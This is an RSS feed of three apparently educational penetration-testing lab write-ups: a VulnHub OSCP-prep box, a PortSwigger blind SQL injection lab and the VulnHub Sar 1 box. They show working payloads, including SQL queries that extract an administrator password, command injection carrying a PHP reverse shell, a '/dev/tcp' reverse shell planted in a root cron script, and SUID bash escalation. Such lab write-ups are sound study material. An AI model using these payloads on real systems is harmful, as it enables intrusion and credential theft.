<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Psalm Endozo on Medium]]></title>
        <description><![CDATA[Stories by Psalm Endozo on Medium]]></description>
        <link>https://medium.com/@psalmendozo09?source=rss-9f85b2bafaf5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*34S9VcF2iRL_YGoB7bmpZA.png</url>
            <title>Stories by Psalm Endozo on Medium</title>
            <link>https://medium.com/@psalmendozo09?source=rss-9f85b2bafaf5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 06:31:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@psalmendozo09/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[InfoSec Prep: OSCP]]></title>
            <link>https://medium.com/@psalmendozo09/infosec-prep-oscp-42219ccb3300?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/42219ccb3300</guid>
            <category><![CDATA[newbie-friendly]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[cybersecurity-training]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Sun, 22 Mar 2026 10:29:54 GMT</pubDate>
            <atom:updated>2026-03-22T10:29:54.760Z</atom:updated>
            <content:encoded><![CDATA[<p>PWK V2 LIST: Curated by Tj Null, Abatchy, Cola</p><p>Infosec Prep OSCP Box: <a href="https://www.vulnhub.com/entry/infosec-prep-oscp,508/">https://www.vulnhub.com/entry/infosec-prep-oscp,508</a>/</p><p>Hey everyone! Today I’m diving into a lab environment at oscp.local (192.168.0.218). I did this one live while my friend Ger was watching—hopefully, he picked up a few tricks along the way! While CTFs can sometimes feel a bit different from real-world pentesting, this one was a blast to solve.</p><h3>1. Reconnaissance &amp; Discovery</h3><p>I started with a classic Nmap sweep to see what doors were open. After mapping the IP to my /etc/hosts file, I ran a full port scan:</p><p>nmap -p- -T4 oscp.local -oA nmap/oscp_allports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0R-tCK0UJmefvMmDYkuvFA.png" /></figure><p>Then, I narrowed it down to the active services: nmap -p22,80,33060 -sVC oscp.local -oA oscp_services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*brg8sCG_EOAqdhgxcj_RQA.png" /></figure><p><strong>The Results:</strong></p><ul><li><strong>Port 22:</strong> SSH (OpenSSH 8.2p1)</li><li><strong>Port 80:</strong> HTTP (Apache running WordPress 5.4.2)</li><li><strong>Port 33060:</strong> MySQL X Protocol</li></ul><h3>2. Web Enumeration &amp; The “Secret” Lead</h3><p>The Nmap scan flagged a robots.txt file, which is always a great place to start. Inside, I found a reference to secret.txt. Navigating there revealed a string that looked like Base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJMXoKmkqwpW5Ffoj8K_Fw.png" /></figure><p>After a quick decode: echo &#39;[Base64_String]&#39; | base64 -d</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdEIKXhxrvbxn3UW_gjOxA.png" /></figure><p>Jackpot! It was a <strong>private SSH key</strong>. I saved this as oscp.key and kept it in my back pocket while I continued to poke at the WordPress site.</p><h3>3. The WordPress Rabbit Hole</h3><p>I ran wpscan (after a quick --update to get it behaving) and noticed the <strong>Akismet</strong> plugin was outdated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mizXsOS9QxCnYRXnN3xz8Q.png" /></figure><p>I spent some time trying to leverage a known XSS vulnerability to steal a moderator’s cookie. However, after several attempts and realizing the target legacy.php was returning a 404 error, I concluded the input validation was holding strong. It’s important to document these &quot;failed&quot; attempts—knowing what <em>doesn&#39;t</em> work is half the battle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgaL5EtoU0-2PpAlN6AOpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8HEe0mJHo_a-SITpl89Eg.png" /></figure><h3>4. Gaining a Foothold</h3><p>Since the web exploits were hitting a wall, I pivoted back to that SSH key. Even though I didn’t have a confirmed list of system users yet, I tried the most logical choice:</p><p>ssh -i oscp.key oscp@oscp.local</p><p>It worked! I landed a low-privilege shell as the oscp user. While finding a key in a text file is a bit &quot;lucky,&quot; a win is a win!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azQmLYaTGVNo3Zhiw2lK9A.png" /></figure><h3>5. Privilege Escalation: The SUID Jackpot</h3><p>Now for the fun part: getting root. I skipped the automated scripts like LinPEAS this time and went for a manual check of SUID binaries:</p><p>find / -perm -4000 -type f 2&gt;/dev/null</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZhY0PmSCQM5ftVxTGFb9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvxw9pMfzwkN6qs5co1UEQ.png" /></figure><p>Right there in the list was /usr/bin/bash. In a secure environment, Bash should never have the SUID bit set. I headed over to <strong>GTFOBins</strong> to confirm the exploit vector.</p><p>Because Bash was misconfigured with SUID permissions, I could spawn a root shell by simply telling it to preserve its effective user ID:</p><p>/usr/bin/bash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9sOKOseEkmlzAU3Kv02GA.png" /></figure><p><strong>Boom. Root.</strong> I grabbed the final flag: d73b04b0e696b0945283defa3eee4538</p><h3>Lessons Learned</h3><ul><li><strong>Lab vs. Reality:</strong> This engagement felt like a classic CTF. In professional settings, “footholds” are rarely as convenient as finding a private key in a secret.txt file. Real-world targets usually require significantly more service enumeration and vulnerability research.</li><li><strong>The Value of “Negative” Testing:</strong> Even though the Akismet XSS didn’t work, documenting it was essential. It proved that the web application’s sanitization (likely wp_kses) was functioning correctly, forcing a pivot to other vectors.</li><li><strong>Living off the Land:</strong> Encountering a minimal environment with no gcc or python was a great reminder to keep a library of <strong>statically compiled binaries</strong> or <strong>pure shell scripts</strong> ready.</li><li><strong>SUID Overlooked:</strong> Never underestimate the “low-hanging fruit.” A simple SUID misconfiguration on a binary as powerful as /bin/bash is an immediate game-over, regardless of how patched the rest of the system is.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42219ccb3300" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Web Security Academy: Blind SQL injection with conditional responses]]></title>
            <link>https://medium.com/@psalmendozo09/portswigger-web-security-academy-blind-sql-injection-with-conditional-responses-2da6f009e29f?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2da6f009e29f</guid>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 13:47:44 GMT</pubDate>
            <atom:updated>2025-09-03T13:49:15.489Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction:</strong></p><p>I’ve been studying for Web Penetration Testing and was told by my mentor that <a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a> is the place to go, and indeed IT IS EXCELLENT. In my opinion it’s illegal that PortSwigger made this for free 😂. Anyways let’s proceed on to the lab!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*hWiZESWJgbouJYAUub2m1Q.png" /><figcaption>Lab Information</figcaption></figure><p>So we list those information for free.</p><p><strong>Table: users</strong></p><p><strong>Columns: username, password</strong></p><p><strong>Target: administrator</strong></p><p>We will first visit the page, then navigate until we see the “Welcome Back!” on the products display page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aUE7GCAmSLUt2LRhjRFotw.png" /><figcaption>There’s the “Welcome Back” text boxed in red.</figcaption></figure><p>We will first visualize what’s happening here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20sHx0vaiEbvQ-bAOuvSQg.png" /><figcaption>“TrackingId” is a cookie, if that cookie exists in the database -&gt; show welcome back.</figcaption></figure><p><strong>We have no way of knowing what the code looks like 100%, but we can assume it’s like:</strong></p><p>$showWelcomeBack = SELECT COUNT(*) FROM users WHERE tracking_id = ‘&lt;value_from_cookie&gt;’</p><p>if ($showWelcomeBack == 1)</p><p>{</p><p>SOME_PARAMETER = “Welcome Back!”</p><p>}</p><p><strong>So now let’s try to check if it’s vulnerable using:</strong></p><p><em>‘ AND ‘1’=’1</em></p><p><em>‘ AND ‘1’=’2</em></p><p><strong>So the query would look like this:</strong></p><p><em>SELECT COUNT(*) FROM users WHERE tracking_id = ‘AIC6bl2r6s4h5Wed’ AND ‘1’=’1&#39; = Evaluate as True</em></p><p><em>SELECT COUNT(*) FROM users WHERE tracking_id = ‘AIC6bl2r6s4h5Wed’ AND ‘1’=’2&#39; = Evaluate as False</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DzETMOEFTWdiN_6vOavpPA.png" /><figcaption>‘2’ evaluates as false (0 matches for Welcome Back)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uS2IKxNlGtlr28g8BZ-Vgg.png" /><figcaption>‘1’ evaluates as True (1 match for Welcome Back)</figcaption></figure><p>We still got to look left and right before we cross the road right?</p><p><strong>Changing to incorrect cookie by adding 1 random character:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9gaYoDB_AGt9YCYe8tYiA.png" /><figcaption>0 match, ‘Wed1’ is incorrect. So this is expected.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eALYtmTzPY6n8QJ6m9R-Uw.png" /><figcaption>1 match, ‘Wed’ is correct. This is expected.</figcaption></figure><p><strong>Now we can safely say that this is vulnerable to Blind SQLi with conditional responses.</strong></p><p>So what’s the next step?</p><p>We first need to check if the table ‘users’ exist.</p><p><strong>Exploit query:</strong></p><p>‘ AND (SELECT ‘x’ FROM users LIMIT 1)=’x</p><p><strong>What the query looks like:</strong></p><p>SELECT COUNT(*) FROM users WHERE tracking_id = ‘AIC6bl2r6s4h5Wed’ AND (SELECT ‘a’ FROM users LIMIT 1)=’a</p><p><strong>Let’s break down the attack:</strong></p><ul><li><strong>AND (SELECT ‘a’ FROM users LIMIT 1) = ‘a’</strong>: This is the key part of the attack.</li><li><strong>SELECT ‘a’ FROM users LIMIT 1</strong>: This subquery will always return the string ‘a’ as long as there is at least one row in the users table.</li><li><strong>= ‘a’</strong>: This compares the result of the subquery to the string ‘a’. Since they match, the AND condition is true.</li></ul><p>So if the table users has atleast ONE row, this will return as true, we will still test for false positive by changing the users to some random text like asdifjhasdf23.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PAQkQwifgrdllHvrNEPVQ.png" /><figcaption>‘users’ table does exist.</figcaption></figure><p><strong>Checking for false positive:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrcmJYavd1vjvqgbQNF_FA.png" /><figcaption>No ‘welcome back’ for the random table name. We can now REALLY, SAFELY assume that this is vulnerable.</figcaption></figure><p><strong>Just a quick recap on where we are at:</strong></p><p>Cookie is vulnerable to Blind SQLi via conditional responses</p><p>‘users’ table exists.</p><p>‘administrator’ exists [x]</p><p>‘administrator’ password length (if it exists) [x]</p><p>‘administrator’ password in the database [x]</p><p>2 out of 5.</p><p><strong>Checking if ‘administrator’ exists:</strong></p><p><strong>Exploit query:</strong></p><p>‘ AND (SELECT ‘a’ FROM users WHERE username=’administrator’)=’a</p><p><strong>What the query looks like:</strong></p><p>SELECT COUNT(*) FROM users WHERE tracking_id = ‘AIC6bl2r6s4h5Wed’ AND (SELECT ‘a’ FROM users WHERE username=’administrator’)=’a</p><p><strong>Attack Breakdown:</strong></p><ul><li><strong>(SELECT ‘a’ FROM users WHERE username = ‘administrator’)</strong>: This is a subquery. If a user with the username of ‘administrator’ exists in the users table, this subquery will return the string ‘a’. If no such user exists, the subquery will return nothing.</li><li><strong>= ‘a’</strong>: This part compares the result of the subquery to the string ‘a’.</li></ul><p><strong>Our goal is to see how the web page responds.</strong></p><ul><li>If the page returns a <strong>“Welcome Back!”</strong> message or behaves as if the trackingId is valid, the attacker knows that the AND condition was true. This confirms that the administrator user exists in the database.</li><li>If the page returns an error or a different response, the attacker knows the AND condition was false, meaning the administrator user does not exist.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jS1nLBMqOwIG1PMnBW9WYg.png" /><figcaption>We’ve now confirmed that there’s a username ‘administrator’ on table ‘users’</figcaption></figure><p>So it looks like this now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*oyLz0QTeD7oYKBuXXd58_w.png" /><figcaption>Table Visualization 📹</figcaption></figure><p><strong>Just a quick recap on where we are at:</strong></p><p>Cookie is vulnerable to Blind SQLi via conditional responses</p><p>‘users’ table exists.</p><p>‘administrator’ exists</p><p>‘administrator’ password length (if it exists) [x]</p><p>‘administrator’ password in the database [x]</p><p>3 out of 5.</p><p>Now let’s check the password length so we’re not just blindly brute forcing things.</p><p><strong>Exploit query:</strong></p><p>‘ AND (SELECT ‘a’ FROM users WHERE username=’administrator’ AND LENGTH(password)=1)=’a</p><p><strong>What the query looks like:</strong></p><p>SELECT COUNT(*) FROM users WHERE tracking_id = ‘AIC6bl2r6s4h5Wed’ AND (SELECT ‘a’ FROM users WHERE username=’administrator’ AND LENGTH(password)=1)=’a</p><p><strong>Attack breakdown:</strong></p><ul><li><strong>AND</strong>: This connects the malicious subquery to the main query.</li><li><strong>(SELECT ‘a’ FROM users WHERE username = ‘administrator’ AND LENGTH(password) = 1)</strong>: This is a subquery that checks two conditions:</li></ul><ol><li>A user with the username administrator exists.</li><li>The length of that user’s password is equal to 1.</li></ol><ul><li><strong>= ‘a’</strong>: This compares the result of the subquery to a literal string ‘a’.</li></ul><p>So we need to test it from 1 to let’s say 50, this will take long if you do it manually, so we will use BurpSuite Intruder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufLFx2EII6wHp6rLOTyR0g.png" /><figcaption>Payload is at the password length, it will check by changing the password length number from 1–50, and we will filter it out by checking the response length. The one with the ‘Welcome Back’ string will LIKELY have a different response length than those without.</figcaption></figure><p>Filtering results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aLunpXgk7H9G1vMASvST8w.png" /><figcaption>As expected, it has a 5520 response compared to the other with 5459</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zfmn9a4uHJJYmihPHrlLzA.png" /><figcaption>Yes, it has the Welcome Back! string.</figcaption></figure><p><strong>Just a quick recap on where we are at:</strong></p><p>Cookie is vulnerable to Blind SQLi via conditional responses</p><p>‘users’ table exists.</p><p>‘administrator’ exists</p><p>‘administrator’ password length (if it exists)</p><p>‘administrator’ password in the database [x]</p><p>4 out of 5.</p><p>Now we just need to abuse this Blind SQLi vulnerability to enumerate the password, character by character.</p><p><strong>Exploit query:</strong></p><p>‘ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=’administrator’)=’a</p><p><strong>What the query looks like:</strong></p><p>SELECT COUNT(*) FROM users WHERE tracking_id = ‘AIC6bl2r6s4h5Wed’ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=’administrator’)=’a</p><p><strong>Attack Breakdown:</strong></p><ul><li><strong>SUBSTRING(password,1,1)</strong>: This is the core function of the attack. It extracts a substring of the password from the users table.</li><li>1: The starting position of the substring.</li><li>1: The length of the substring.</li><li><strong>FROM users WHERE username=’administrator’</strong>: This specifies that the query should only return results for the administrator user.</li><li><strong>= ‘a’</strong>: This part compares the extracted substring to the character ‘a’. The attacker would systematically try every character (e.g., ‘b’, ‘c’, 1, 2, _, etc.) to find a match.</li></ul><p>We will automate this attack on intruder.</p><p>We will be using Cluster bomb attack instead of Sniper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFtkXKvFpFHTNOD117I_GQ.png" /><figcaption>Payload 1, 1–20 (first character up to the 20th, since the password length is 20)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*efeAyzxQ6RzAhoRHhCye8w.png" /><figcaption>Payload 2 will be Brute forcer, character set is alphanumeric, and min/max length is 1 because we’re brute forcing 1 character at a time.</figcaption></figure><p><strong>Let’s dive into the attack.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BS9xQftXJ8TDwteGeGcfdg.png" /><figcaption>So the attack is finished, with a total of 720 requests. Let’s filter out the relevant responses.</figcaption></figure><p><strong>We can either filter this out by Response Length (5520, we knew this previously when we did the password length thing) or by filtering through string “Welcome Back”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iDq7Ymy5hGiNdRCOHnwe0Q.png" /><figcaption>It still is a mess. We can sort by payload1 (This is the substring(1,1), so first letter, 2nd letter .. 20th letter, it should be in order)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-dF4DlxHyL_2wQHbycfzQ.png" /><figcaption>Just listing this out, 654txbhe18vjv1o7chmg</figcaption></figure><p><strong>Let’s try it out.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WG7KkQ-Z64Tl1ubICAt8g.png" /><figcaption>There we go.</figcaption></figure><p>We can now see the impact of a simple Blind SQLi, and the danger that looms within just one vulnerable thing in a website. We’ve learned a lot from a lab that I thought would be short at first. We learned how to do this from the start (verifying that the vulnerability really exists) up to the actual exploitation phase.</p><p>I’ll be doing more write-ups for labs that I find interesting. See you on the next write-up!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2da6f009e29f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: Sar 1 Writeup]]></title>
            <link>https://medium.com/@psalmendozo09/vulnhub-sar-1-writeup-e252321efe0e?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e252321efe0e</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Thu, 28 Aug 2025 13:57:37 GMT</pubDate>
            <atom:updated>2025-08-28T13:57:37.984Z</atom:updated>
            <content:encoded><![CDATA[<p>PWK V2 LIST: Curated by Tj Null, Abatchy, Cola</p><p>VulnHub: Sar 1</p><p><strong>Introduction:</strong></p><p>Hi, in this write-up we will be going through Sar 1 from the PWK v2–200 list. <a href="https://www.vulnhub.com/entry/sar-1,425/">https://www.vulnhub.com/entry/sar-1,425/</a></p><p>Let’s get started.</p><p>— Host Discovery</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*REvspuzIrzPv04djV06tmw.png" /><figcaption>ip a s, netdiscover -r 192.168.0.0/24</figcaption></figure><p>We’ll add 192.168.0.118 sar.local to our hosts file.</p><p>— Port Scanning</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFZVG_3bJCVs0pYfM2l3OQ.png" /><figcaption>nmap -sV -sC -oA nmap/nmap_all sar.local -vv</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kgOFW35eNJg19jDJKvAaA.png" /><figcaption>nmap -p- -T4 sar.local -oA nmap/nmap_all_real</figcaption></figure><p>Lol, I named the first one _all when I didn’t even scanned all ports. Either way, we see here that only port 80 is open, it is running Apache/2.4.29 on Ubuntu. Let’s dive into the website.</p><p>— Enumeration</p><p>Web Server: Apache httpd 2.4.29 ((Ubuntu))</p><p>HTTP Headers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jkG5P-DfqLhJFYxKWBWqWQ.png" /></figure><p><strong>Common directories:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbuVI0k2TFiNO_rCjDjWgg.png" /><figcaption>/robots.txt: Yes</figcaption></figure><p>/sitemap.xml: No</p><p>Directories/Files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R_Vv_cLHWNWZDU6EQ9rG-w.png" /><figcaption>dirsearch -u <a href="http://sar.local/">http://sar.local</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*czKbNY9z-yQGiqcHIg3ikw.png" /><figcaption>ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u <a href="http://sar.local/FUZZ">http://sar.local/FUZZ</a> -c</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jApICRT3Lwbhl4XgFQyQSg.png" /><figcaption>nikto -h <a href="http://sar.local/">http://sar.local</a></figcaption></figure><p>What do we have here? What sticks out is robots.txt, and phpinfo.php.</p><p>As we see in robots.txt there’s a /sar2HTML directory. Let’s check what’s inside that and phpinfo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N81ZUeaFG2tmHN_8kuBGpA.png" /><figcaption>Seems like SAR is sort of a plugin or a tool at first glance.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jMJb7ZU7tG2WP6XeTIuWsQ.png" /><figcaption>PHP Info is well, just disclosing alot of info.</figcaption></figure><p>I have no idea about this SAR2HTML so let’s google a bit on what this is about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79rUiXGE4H7W0AXq78sBCw.png" /><figcaption>Seems like SAR2HTML is a plotting tool, like PowerBI?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRyczMwmZoiTpdHAnaG6VQ.png" /><figcaption>The front page just reeks of exploit, and yes the version our target is running is 3.2.1. Guess we’ll go ahead and exploit.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pg2PsF8PGhXafR6KrHLuCg.png" /><figcaption>searchsploit sar2html, searchsploit -m 47204, cat 47204.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8q5TlkAcfEgwYdhLgI_dyA.png" /><figcaption>searchsploit -m 49344, cat 49344.py</figcaption></figure><p>I think I prefer the first one and let’s use that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AM3s2gkwf5zwMjGg0VdWJw.png" /><figcaption><a href="http://sar.local/sar2HTML/index.php?plot=;whoami">http://sar.local/sar2HTML/index.php?plot=;whoami</a></figcaption></figure><p>It was a bit confusing at first, then I realized the output really was www-data, it was not ORIGINALLY part of the select host drop-down, so the output will be in that dropdown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uj1VE2yZCd63xH4RgWx0kA.png" /><figcaption>Setting up a listener</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q1jxLEZCXvk6X8sgXIBwqw.png" /><figcaption><a href="http://sar.local/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen(%22192.168.0.137%22%2C1234)%3Bsystem(%22sh%20%3C%263%20%3E%263%202%3E%263%22)%3B%27">http://sar.local/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen(%22192.168.0.137%22%2C1234)%3Bsystem(%22sh%20%3C%263%20%3E%263%202%3E%263%22)%3B%27</a></figcaption></figure><p>Reference:</p><p><a href="https://www.revshells.com/">https://www.revshells.com/</a></p><p><a href="https://urlencoder.org/">https://urlencoder.org/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5gFjWevVJm4JIO11tX6p4Q.png" /><figcaption>Okay, we’re in. But we’re only www-data.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*abW8SrVtPyaJIBXrrJFi3w.png" /><figcaption>We need an interactive shell, python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</figcaption></figure><p>Spawned a pty shell, I first tried with perl, then I just thought since the last project I used python3 I might aswell use it here<strong> IF python3 was installed</strong>, using ‘which python3’ then we knew it was installed.</p><p>Okay, so we have an interactive shell, what’s next? Well, now we need to elevate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*an1fRCmcDEZ62wUrT_4qNg.png" /><figcaption>cat /etc/passwd | grep -v /nologin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NLYxcnLEEsjU1sGxzIBRMw.png" /><figcaption>cd /tmp, curl -L <a href="https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh">https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh</a> | sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ae03MzFp6EneYKLpID9eKQ.png" /><figcaption>Interesting. Also there’s alot of CVEs in the Linux Exploit Suggester module, we’ll save that for later.</figcaption></figure><p>Let’s check this one that sticks out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4O68EvthIy8-BWSBRwv6JQ.png" /><figcaption>cat finally.sh, find / -name “write.sh” -type f &gt; 2&gt;/dev/null, cat /var/www/html/write.sh</figcaption></figure><p>Following this trail, we know that:</p><p>Cron runs every 5 minutes, changes directory to /var/www/html then runs sudo ./finally.sh</p><p>finally.sh -&gt; Executes ./write.sh</p><p>write.sh -&gt; Makes file called /tmp/gateway</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHjzeTxIpb_RfPxtweHBrA.png" /><figcaption>Useful tool to understand crons.</figcaption></figure><p>Let’s first see the permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jO-wL6asWkpskZtuyKF6A.png" /><figcaption>-rwxr-xr-x 1 root root 22 Oct 20 2019 finally.sh, -rwxrwxrwx 1 www-data www-data 30 Oct 21 2019 write.sh</figcaption></figure><p>We can read/execute finally.sh, and we can read/write/execute write.sh.</p><p>Let’s modify write.sh, since this is being run as sudo anyway when finally.sh is executed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KdsaX6M-Lt308laTI2LuQg.png" /><figcaption><a href="https://github.com/love07oj/tools_and_techniques/blob/main/Linux%20PrivEsc.md">https://github.com/love07oj/tools_and_techniques/blob/main/Linux%20PrivEsc.md</a></figcaption></figure><p>Tried this technique for cron, too lazy to even echo 4 lines one at a time, time for a reverse shell. I can’t make it work for me :DD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8VGK4gSSQtMVDIZIEBjSw.png" /><figcaption>echo “sh -i &gt;&amp; /dev/tcp/192.168.0.137/1234 0&gt;&amp;1” &gt;&gt; write.sh</figcaption></figure><p>I think we will get root because finally.sh will be ran as sudo. We need to wait for cron to send a request. I already have a listener setup on 1234.</p><p>I kinda screwed up using 1234, because I AM ALREADY USING 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzJoiEhdQ-hLvsMZfX4lGA.png" /><figcaption>I just made another write.sh on my other machine, echo seems clunky and I also changed the port to listen to.</figcaption></figure><p>Anxiously waiting, it’s been a few minutes and the cron runs every 5 mins, idk if I screwed up but I’ll keep waiting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MiR77oVAOVPf_INJlQ0nAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJF4xFUAjdVJG8tQUfpsZQ.png" /><figcaption>I manually tested ./write.sh and it works</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJF4xFUAjdVJG8tQUfpsZQ.png" /><figcaption>Just have to be patient…</figcaption></figure><p>I think I screwed up by removing and re-writing write.sh? Idk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwYs8P9xj_ZzZdq3CW47hQ.png" /><figcaption>Getting Syntax error: bad fd number</figcaption></figure><p>I tried other things, even re-installed the box, I think this approach is just not working for me. I’ll try PHP reverse shell since this server has PHP (as far as I know, the website has php)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8pJyV9dTcpNL13VABfZrQ.png" /><figcaption>which php returns a /usr/bin/php result.</figcaption></figure><p>We’ll now proceed to making a php revshell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9u-__AswCLQaHcS3wpUFag.png" /><figcaption>Copy this payload into revshell.php and transfer it to the target machine</figcaption></figure><p>Attacker: python3 -m http.server</p><p>Target: wget <a href="http://192.168.0.137/revshell.php">http://192.168.0.137/revshell.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c2onUJZdWzEsZeMUQveVmg.png" /><figcaption>Screwed up again, I forgot to change port to 8888, oh well. Closed the connection and listened on 1234. Hoping it works.</figcaption></figure><figure><img alt="" 